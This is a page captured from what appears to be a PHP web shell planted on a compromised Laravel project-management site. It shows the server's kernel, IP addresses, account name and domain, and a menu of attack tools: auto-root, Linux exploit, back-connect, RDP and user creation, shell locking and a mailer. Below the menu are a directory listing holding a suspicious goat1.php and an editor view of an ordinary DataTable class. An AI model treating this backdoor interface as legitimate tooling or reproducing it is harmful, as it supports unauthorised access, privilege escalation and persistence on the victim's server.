Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
DataTables /
[ HOME SHELL ]
Name
Size
Permission
Action
AppreciationsDataTable.php
9.96
KB
-rw-r--r--
ArchiveProjectsDataTable.php
12.47
KB
-rw-r--r--
ArchiveTasksDataTable.php
25.1
KB
-rw-r--r--
AttendanceRegularisationDataTa...
8.88
KB
-rw-r--r--
AttendanceReportDataTable.php
9.59
KB
-rw-r--r--
AwardDataTable.php
6.94
KB
-rw-r--r--
BankAccountDataTable.php
11.84
KB
-rw-r--r--
BankTransactionDataTable.php
7.29
KB
-rw-r--r--
BaseDataTable.php
1.76
KB
-rw-r--r--
ClientContactsDataTable.php
5.99
KB
-rw-r--r--
ClientGDPRDataTable.php
3.74
KB
-rw-r--r--
ClientNotesDataTable.php
8.37
KB
-rw-r--r--
ClientSubscriptionDataTable.ph...
5.67
KB
-rw-r--r--
ClientsDataTable.php
11.65
KB
-rw-r--r--
ConsentDataTable.php
3.86
KB
-rw-r--r--
ContractTemplatesDataTable.php
7.11
KB
-rw-r--r--
ContractsDataTable.php
15.39
KB
-rw-r--r--
CreditNotesDataTable.php
11.73
KB
-rw-r--r--
CustomerDataRemovalDataTable.p...
4.72
KB
-rw-r--r--
DealNotesDataTable.php
6.73
KB
-rw-r--r--
DealsDataTable.php
29.02
KB
-rw-r--r--
DepartmentDataTable.php
6.42
KB
-rw-r--r--
DesignationDataTable.php
6.37
KB
-rw-r--r--
DiscussionDataTable.php
5.6
KB
-rw-r--r--
EmployeeAppreciationDataTable....
5.13
KB
-rw-r--r--
EmployeeWiseTaskDataTable.php
6.31
KB
-rw-r--r--
EmployeesDataTable.php
22.91
KB
-rw-r--r--
EstimateRequestDataTable.php
13.33
KB
-rw-r--r--
EstimateTemplateDataTable.php
6.27
KB
-rw-r--r--
EstimatesDataTable.php
17.68
KB
-rw-r--r--
EventDataTable.php
13
KB
-rw-r--r--
ExpenseCategoryReportDataTable...
3.41
KB
-rw-r--r--
ExpenseReportDataTable.php
8.3
KB
-rw-r--r--
ExpensesDataTable.php
14.17
KB
-rw-r--r--
FinanceReportDataTable.php
7.44
KB
-rw-r--r--
HolidayDataTable.php
10.28
KB
-rw-r--r--
InvoiceRecurringDataTable.php
12.75
KB
-rw-r--r--
InvoicesDataTable.php
30.81
KB
-rw-r--r--
KnowledgeBaseDataTable.php
7.18
KB
-rw-r--r--
LabelDataTable.php
3.6
KB
-rw-r--r--
LeadContactDataTable.php
16.27
KB
-rw-r--r--
LeadDataRemovalDataTable.php
4.68
KB
-rw-r--r--
LeadFollowupDataTable.php
6.71
KB
-rw-r--r--
LeadGDPRDataTable.php
4.26
KB
-rw-r--r--
LeadNotesDataTable.php
7.48
KB
-rw-r--r--
LeadPipelineDataTable.php
6.23
KB
-rw-r--r--
LeadReportDataTable.php
8.46
KB
-rw-r--r--
LeaveDataTable.php
19.71
KB
-rw-r--r--
LeaveQuotaReportDataTable.php
8.96
KB
-rw-r--r--
LeaveReportDataTable.php
7.04
KB
-rw-r--r--
NoticeBoardDataTable.php
8.62
KB
-rw-r--r--
OrdersDataTable.php
16.69
KB
-rw-r--r--
PaymentsDataTable.php
15.62
KB
-rw-r--r--
ProductsDataTable.php
10.33
KB
-rw-r--r--
ProjectNotesDataTable.php
9.12
KB
-rw-r--r--
ProjectTemplateTasksDataTable....
6.04
KB
-rw-r--r--
ProjectTemplatesDataTable.php
8.18
KB
-rw-r--r--
ProjectsDataTable.php
33.06
KB
-rw-r--r--
ProposalDataTable.php
13.33
KB
-rw-r--r--
ProposalTemplateDataTable.php
6.43
KB
-rw-r--r--
RecurringEventDataTable.php
12.18
KB
-rw-r--r--
RecurringExpensesDataTable.php
9.03
KB
-rw-r--r--
RecurringInvoicesDataTable.php
21.61
KB
-rw-r--r--
RecurringTasksDataTable.php
39.63
KB
-rw-r--r--
SalesReportDataTable.php
10.29
KB
-rw-r--r--
ShiftChangeRequestDataTable.ph...
7.54
KB
-rw-r--r--
ShiftRotationDataTable.php
6.6
KB
-rw-r--r--
SubscriptionDataTable.php
7.53
KB
-rw-r--r--
TaskReportDataTable.php
11.84
KB
-rw-r--r--
TasksDataTable.php
43.05
KB
-rw-r--r--
TicketDataTable.php
19.89
KB
-rw-r--r--
TimeLogConsolidatedReportDataT...
12.74
KB
-rw-r--r--
TimeLogPendingWeeklyApprovalRe...
9.63
KB
-rw-r--r--
TimeLogProjectwiseReportDataTa...
9.06
KB
-rw-r--r--
TimeLogReportDataTable.php
12.6
KB
-rw-r--r--
TimeLogWeeklyApprovalReportDat...
10.05
KB
-rw-r--r--
TimeLogsDataTable.php
23.82
KB
-rw-r--r--
WaitingForApprovalDataTable.ph...
29.97
KB
-rw-r--r--
consolidatedTaskReportDataTabl...
6.03
KB
-rw-r--r--
error_log
37.37
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ArchiveProjectsDataTable.php
<?php namespace App\DataTables; use App\Models\Project; use App\Models\ProjectStatusSetting; use Yajra\DataTables\Html\Button; use Yajra\DataTables\Html\Column; use App\Helper\Common; class ArchiveProjectsDataTable extends BaseDataTable { private $viewProjectPermission; private $editProjectPermission; private $deleteProjectPermission; public function __construct() { parent::__construct(); $this->viewProjectPermission = user()->permission('view_projects'); $this->editProjectPermission = user()->permission('edit_projects'); $this->deleteProjectPermission = user()->permission('delete_projects'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $memberIds = $row->members->pluck('user_id')->toArray(); $action = ''; if ( $this->editProjectPermission == 'all' || ($this->editProjectPermission == 'added' && user()->id == $row->added_by) || ($this->editProjectPermission == 'owned' && user()->id == $row->client_id && in_array('client', user_roles())) || ($this->editProjectPermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($this->editProjectPermission == 'both' && (user()->id == $row->client_id || user()->id == $row->added_by)) || ($this->editProjectPermission == 'both' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) ) { $action .= ' <a href="javascript:;" class="btn btn-sm btn-secondary restore-project mr-2" data-toggle="tooltip" data-user-id="' . $row->id . '" data-original-title="' . __('app.unarchive') . '"><i class="fa fa-undo" aria-hidden="true"></i></a>'; } if ( $this->deleteProjectPermission == 'all' || ($this->deleteProjectPermission == 'added' && user()->id == $row->added_by) || ($this->deleteProjectPermission == 'owned' && user()->id == $row->client_id && in_array('client', user_roles())) || ($this->deleteProjectPermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($this->deleteProjectPermission == 'both' && (user()->id == $row->client_id || user()->id == $row->added_by)) || ($this->deleteProjectPermission == 'both' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) ) { $action .= ' <a href="javascript:;" class="btn btn-sm btn-secondary delete-table-row" data-toggle="tooltip" data-user-id="' . $row->id . '" data-original-title="' . __('app.delete') . '"><i class="fa fa-times" aria-hidden="true"></i></a>'; } return $action; }) ->addColumn('members', function ($row) { $members = ''; if (count($row->members) > 0) { foreach ($row->members as $member) { $img = '<img data-toggle="tooltip" data-original-title="' . $member->user->name . '" src="' . $member->user->image_url . '">'; $members .= '<div class="taskEmployeeImg rounded-circle"><a href="' . route('employees.show', $member->user->id) . '">' . $img . '</a></div> '; } } else { $members .= __('messages.noMemberAddedToProject'); } return $members; }) ->addColumn('name', function ($row) { $members = []; if (count($row->members) > 0) { foreach ($row->members as $member) { $members[] = $member->user->name; } return implode(',', $members); } return '--'; }) ->editColumn('project_name', function ($row) { return '<div class="media align-items-center"> <div class="media-body"> <h5 class="mb-0 f-13 text-darkest-grey"><a href="' . route('projects.show', [$row->id]) . '">' . $row->project_name . '</a></h5> </div> </div>'; }) ->editColumn('start_date', fn($row) => $row->start_date ? $row->start_date->translatedFormat($this->company->date_format) : '') ->editColumn('deadline', fn($row) => $row->deadline ? $row->deadline->translatedFormat($this->company->date_format) : '-') ->editColumn('client_id', fn($row) => is_null($row->client_id) ? '' : view('components.client', ['user' => $row->client])) ->editColumn('status', function ($row) { $projectStatus = ProjectStatusSetting::all(); foreach ($projectStatus as $status) { if ($row->status == $status->status_name) { $color = $status->color; return ' <i class="fa fa-circle mr-1 f-10" style="color:' . $color . '"></i>' . $status->status_name; } } }) ->editColumn('completion_percent', function ($row) { if ($row->completion_percent < 50) { $statusColor = 'danger'; } elseif ($row->completion_percent < 75) { $statusColor = 'warning'; } else { $statusColor = 'success'; } return '<div class="progress" style="height: 15px;"> <div class="progress-bar f-12 bg-' . $statusColor . '" role="progressbar" style="width: ' . $row->completion_percent . '%;" aria-valuenow="' . $row->completion_percent . '" aria-valuemin="0" aria-valuemax="100">' . $row->completion_percent . '%</div> </div>'; }) ->addColumn('completion_export', fn($row) => $row->completion_percent . '% ' . __('app.complete')) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['project_name', 'action', 'completion_percent', 'members', 'status', 'client_id', 'check']) ->removeColumn('project_summary') ->removeColumn('notes') ->removeColumn('category_id') ->removeColumn('feedback') ->removeColumn('start_date'); } /** * @param Project $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Project $model) { $request = $this->request(); $model = $model ->with('members', 'members.user', 'client', 'client.clientDetails', 'currency', 'client.session') ->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->leftJoin('users', 'project_members.user_id', 'users.id') ->leftJoin('users as client', 'projects.client_id', 'users.id') ->selectRaw('projects.id, projects.added_by, projects.project_name, projects.start_date, projects.deadline, projects.client_id, projects.completion_percent, projects.project_budget, projects.currency_id, projects.status, users.name, client.name as client_name, ( select count("id") from pinned where pinned.project_id = projects.id and pinned.user_id = ' . user()->id . ') as pinned_project'); if (!is_null($request->status) && $request->status != 'all') { if ($request->status == 'not finished') { $model->where('projects.completion_percent', '!=', 100); } else { $model->where('projects.status', $request->status); } } if ($request->progress) { $model->where(function ($q) use ($request) { foreach ($request->progress as $progress) { $completionPercent = explode('-', $progress); $q->orWhereBetween('projects.completion_percent', [$completionPercent[0], $completionPercent[1]]); } }); } if (!is_null($request->client_id) && $request->client_id != 'all') { $model->where('client_id', $request->client_id); } if (!is_null($request->team_id) && $request->team_id != 'all') { $model->where('team_id', $request->team_id); } if (!is_null($request->category_id) && $request->category_id != 'all') { $model->where('category_id', $request->category_id); } if (!is_null($request->employee_id) && $request->employee_id != 'all') { $model->where('project_members.user_id', $request->employee_id); } if ($this->viewProjectPermission == 'added') { $model->where('projects.added_by', user()->id); } if ($this->viewProjectPermission == 'owned' && in_array('employee', user_roles())) { $model->where('project_members.user_id', user()->id); } if ($this->viewProjectPermission == 'both' && in_array('employee', user_roles())) { $model->where(function ($query) { return $query->where('projects.added_by', user()->id) ->orWhere('project_members.user_id', user()->id); }); } if ($request->searchText != '') { $model->where(function ($query) { $safeTerm = Common::safeString(request('searchText')); $query->where('projects.project_name', 'like', '%' . $safeTerm . '%') ->orWhere('users.name', 'like', '%' . $safeTerm . '%'); }); } $model->onlyTrashed()->groupBy('projects.id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('projects-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["projects-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => '<i class="fa fa-file-export"></i> ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.projects.projectName') => ['data' => 'project_name', 'name' => 'project_name', 'title' => __('modules.projects.projectName')], __('modules.projects.members') => ['data' => 'members', 'name' => 'members', 'exportable' => false, 'width' => '25%', 'title' => __('modules.projects.members')], __('modules.projects.projectMembers') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.projects.projectMembers')], __('app.deadline') => ['data' => 'deadline', 'name' => 'deadline', 'title' => __('app.deadline')], __('app.client') => ['data' => 'client_id', 'name' => 'client_id', 'title' => __('app.client')], __('app.completions') => ['data' => 'completion_percent', 'name' => 'completion_percent', 'exportable' => false, 'title' => __('app.completions')], __('app.completion') => ['data' => 'completion_export', 'name' => 'completion_export', 'visible' => false, 'title' => __('app.completion')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } }
Close